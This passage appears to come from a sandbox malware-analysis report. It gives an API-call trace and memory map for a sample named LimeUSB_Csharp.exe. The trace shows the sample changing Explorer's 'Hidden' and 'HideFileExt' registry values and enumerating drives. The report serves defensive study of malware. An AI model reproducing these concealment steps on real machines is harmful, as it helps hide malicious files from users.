lpType=0x1ce7b8, lpData=0x0, lpcbData=0x1ce7b0*=0x0 | out: lpType=0x1ce7b8*=0x4, lpData=0x0, lpcbData=0x1ce7b0*=0x4) returned 0x0 [0129.698] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x1ce828*=0x1, cbData=0x4 | out: lpData=0x1ce828*=0x1) returned 0x0 [0129.706] GetLogicalDrives () returned 0x4 [0129.814] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cd738 | out: phkResult=0x1cd738*=0x0) returned 0x2 [0129.815] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0130.180] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1ce190, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.184] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0130.186] CoGetContextToken (in: pToken=0x1cf640 | out: pToken=0x1cf640) returned 0x0 [0130.186] CObjectContext::QueryInterface () returned 0x0 [0130.187] CObjectContext::GetCurrentThreadType () returned 0x0 [0130.187] Release () returned 0x0 [0130.188] CoGetContextToken (in: pToken=0x1cf0e0 | out: pToken=0x1cf0e0) returned 0x0 [0130.188] CObjectContext::QueryInterface () returned 0x0 [0130.188] CObjectContext::GetCurrentThreadType () returned 0x0 [0130.188] Release () returned 0x0 [0130.189] CoGetContextToken (in: pToken=0x1cf0e0 | out: pToken=0x1cf0e0) returned 0x0 [0130.189] CObjectContext::QueryInterface () returned 0x0 [0130.189] CObjectContext::GetCurrentThreadType () returned 0x0 [0130.189] Release () returned 0x0 [0130.195] CoGetContextToken (in: pToken=0x1cf0e0 | out: pToken=0x1cf0e0) returned 0x0 [0130.195] CObjectContext::QueryInterface () returned 0x0 [0130.195] CObjectContext::GetCurrentThreadType () returned 0x0 [0130.195] Release () returned 0x0 [0130.199] CoGetContextToken (in: pToken=0x1cf100 | out: pToken=0x1cf100) returned 0x0 [0130.199] CObjectContext::QueryInterface () returned 0x0 [0130.199] CObjectContext::GetCurrentThreadType () returned 0x0 [0130.199] Release () returned 0x0 [0130.201] CoUninitialize () Thread: id = 56 os_tid = 0x660 Thread: id = 57 os_tid = 0x9a0 [0124.996] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0130.192] RegCloseKey (hKey=0x1c4) returned 0x0 [0130.192] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 58 os_tid = 0x404 Process: id = "16" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x13b73000" os_pid = "0x39c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2724 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2725 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2726 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2727 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2728 start_va = 0xa30000 end_va = 0x14f3fff monitored = 1 entry_point = 0x14ee3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2729 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2730 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2731 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2732 start_va = 0x7fff0000 end_va = 0x7fff0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2733 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2734 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2735 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2736 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2737 start_va = 0x190000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2738 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 2739 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2740 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2741 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2742 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2743 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2744 start_va = 0x190000 end_va = 0x1f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2745 start_va = 0x380000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 2746 start_va = 0x400000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 2747 start_va = 0x200000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2748 start_va = 0x400000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 2749 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 2750 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2751 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2752 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2753 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2754 start_va = 0x5c0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 2755 start_va = 0x6a0000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 2756 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 2757 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2758 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2759 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2760 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2761 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2762 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2763 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2764 start_va = 0x7a0000 end_va = 0x927fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 2765 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2766 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2767 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2768 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2769 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2770 start_va = 0x1500000 end_va = 0x1680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001500000" filename = "" Region: id = 2771 start_va = 0x1690000 end_va = 0x2a8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001690000" filename = "" Region: id = 2772 start_va = 0x2a90000 end_va = 0x354cfff monitored = 1 entry_point = 0x354e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2773 start_va = 0x2a90000 end_va = 0x354cfff monitored = 1 entry_point = 0x354e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2774 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2775 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2776 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2778 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2779 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 2780 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 2781 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2782 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2783 start_va = 0x80000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2784 start_va = 0x7fe91890000 end_va = 0x7fe9189ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91890000" filename = "" Region: id = 2785 start_va = 0x7fe918a0000 end_va = 0x7fe918affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918a0000" filename = "" Region: id = 2786 start_va = 0x7fe918b0000 end_va = 0x7fe9193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918b0000" filename = "" Region: id = 2787 start_va = 0x7fe91940000 end_va = 0x7fe919affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91940000" filename = "" Region: id = 2788 start_va = 0x300000 end_va = 0x300fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2789 start_va = 0x310000 end_va = 0x310fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2790 start_va = 0x2a90000 end_va = 0x2bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 2791 start_va = 0x2bc0000 end_va = 0x2d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 2792 start_va = 0x2ee0000 end_va = 0x2fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ee0000" filename = "" Region: id = 2793 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2794 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2795 start_va = 0x2fe0000 end_va = 0x1afdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 2796 start_va = 0x1afe0000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afe0000" filename = "" Region: id = 2797 start_va = 0x2bc0000 end_va = 0x2cc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 2798 start_va = 0x2d00000 end_va = 0x2d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 2799 start_va = 0x1b360000 end_va = 0x1b45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 2800 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2802 start_va = 0x930000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 2803 start_va = 0x1b570000 end_va = 0x1b66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2804 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2805 start_va = 0x1b670000 end_va = 0x1b93efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2806 start_va = 0x7feef8e0000 end_va = 0x7fef0edcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 2807 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 2808 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 2809 start_va = 0x7fe919b0000 end_va = 0x7fe91a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe919b0000" filename = "" Region: id = 2810 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2811 start_va = 0x4f0000 end_va = 0x56cfff monitored = 0 entry_point = 0x4fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2812 start_va = 0x4f0000 end_va = 0x56cfff monitored = 0 entry_point = 0x4fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2813 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2816 start_va = 0x7fef8e70000 end_va = 0x7fef8e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2817 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 2818 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2820 start_va = 0x1b940000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 2822 start_va = 0x7fe91a30000 end_va = 0x7fe91a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a30000" filename = "" Region: id = 2823 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2824 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2825 start_va = 0x7feeec70000 end_va = 0x7feef8defff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 2826 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 2827 start_va = 0x7feedbc0000 end_va = 0x7feeec65fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 2833 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2834 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2835 start_va = 0x360000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2837 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2838 start_va = 0x7fef8dd0000 end_va = 0x7fef8de5fff monitored = 1 entry_point = 0x7fef8dde5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 2839 start_va = 0x1bb60000 end_va = 0x1be31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 63 os_tid = 0x610 [0136.551] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0140.749] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x18e908 | out: phkResult=0x18e908*=0x1c4) returned 0x0 [0140.751] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x18e958, lpData=0x0, lpcbData=0x18e950*=0x0 | out: lpType=0x18e958*=0x4, lpData=0x0, lpcbData=0x18e950*=0x4) returned 0x0 [0140.752] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x18e958, lpData=0x18e938, lpcbData=0x18e950*=0x4 | out: lpType=0x18e958*=0x4, lpData=0x18e938*=0x2, lpcbData=0x18e950*=0x4) returned 0x0 [0140.774] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x18e918, lpData=0x0, lpcbData=0x18e910*=0x0 | out: lpType=0x18e918*=0x4, lpData=0x0, lpcbData=0x18e910*=0x4) returned 0x0 [0140.777] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x18e988*=0x2, cbData=0x4 | out: lpData=0x18e988*=0x2) returned 0x0 [0140.777] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x18e958, lpData=0x0, lpcbData=0x18e950*=0x0 | out: lpType=0x18e958*=0x4, lpData=0x0, lpcbData=0x18e950*=0x4) returned 0x0 [0140.777] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x18e958, lpData=0x18e938, lpcbData=0x18e950*=0x4 | out: lpType=0x18e958*=0x4, lpData=0x18e938*=0x1, lpcbData=0x18e950*=0x4) returned 0x0 [0140.778] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x18e918, lpData=0x0, lpcbData=0x18e910*=0x0 | out: lpType=0x18e918*=0x4, lpData=0x0, lpcbData=0x18e910*=0x4) returned 0x0 [0140.778] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x18e988*=0x1, cbData=0x4 | out: lpData=0x18e988*=0x1) returned 0x0 [0140.799] GetLogicalDrives () returned 0x4 [0140.821] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d898 | out: phkResult=0x18d898*=0x0) returned 0x2 [0140.822] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0140.830] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x18e2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0140.918] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0140.920] CoGetContextToken (in: pToken=0x18f7a0 | out: pToken=0x18f7a0) returned 0x0 [0140.920] CObjectContext::QueryInterface () returned 0x0 [0140.921] CObjectContext::GetCurrentThreadType () returned 0x0 [0140.921] Release () returned 0x0 [0140.922] CoGetContextToken (in: pToken=0x18f240 | out: pToken=0x18f240) returned 0x0 [0140.922] CObjectContext::QueryInterface () returned 0x0 [0140.922] CObjectContext::GetCurrentThreadType () returned 0x0 [0140.922] Release () returned 0x0 [0140.923] CoGetContextToken (in: pToken=0x18f240 | out: pToken=0x18f240) returned 0x0 [0140.923] CObjectContext::QueryInterface () returned 0x0 [0140.923] CObjectContext::GetCurrentThreadType () returned 0x0 [0140.923] Release () returned 0x0 [0140.927] CoGetContextToken (in: pToken=0x18f240 | out: pToken=0x18f240) returned 0x0 [0140.927] CObjectContext::QueryInterface () returned 0x0 [0140.927] CObjectContext::GetCurrentThreadType () returned 0x0 [0140.927] Release () returned 0x0 [0140.929] CoGetContextToken (in: pToken=0x18f260 | out: pToken=0x18f260) returned 0x0 [0140.929] CObjectContext::QueryInterface () returned 0x0 [0140.929] CObjectContext::GetCurrentThreadType () returned 0x0 [0140.929] Release () 